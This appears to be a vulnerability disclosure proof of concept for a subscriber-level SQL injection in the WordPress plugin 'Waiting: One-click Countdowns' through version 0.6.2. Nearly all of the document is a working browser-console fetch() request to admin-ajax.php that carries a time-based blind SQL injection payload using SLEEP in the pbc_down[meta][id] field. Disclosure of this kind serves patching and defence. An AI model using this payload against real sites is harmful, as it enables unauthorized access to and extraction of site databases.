Waiting: One-click Countdowns <= 0.6.2 - Subscriber+ SQLi

Run the below command in the developer console of the web browser while being on the blog as subscriber user

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=pbc_save_downs&pbc_down[meta][id]=1+OR+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)--',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));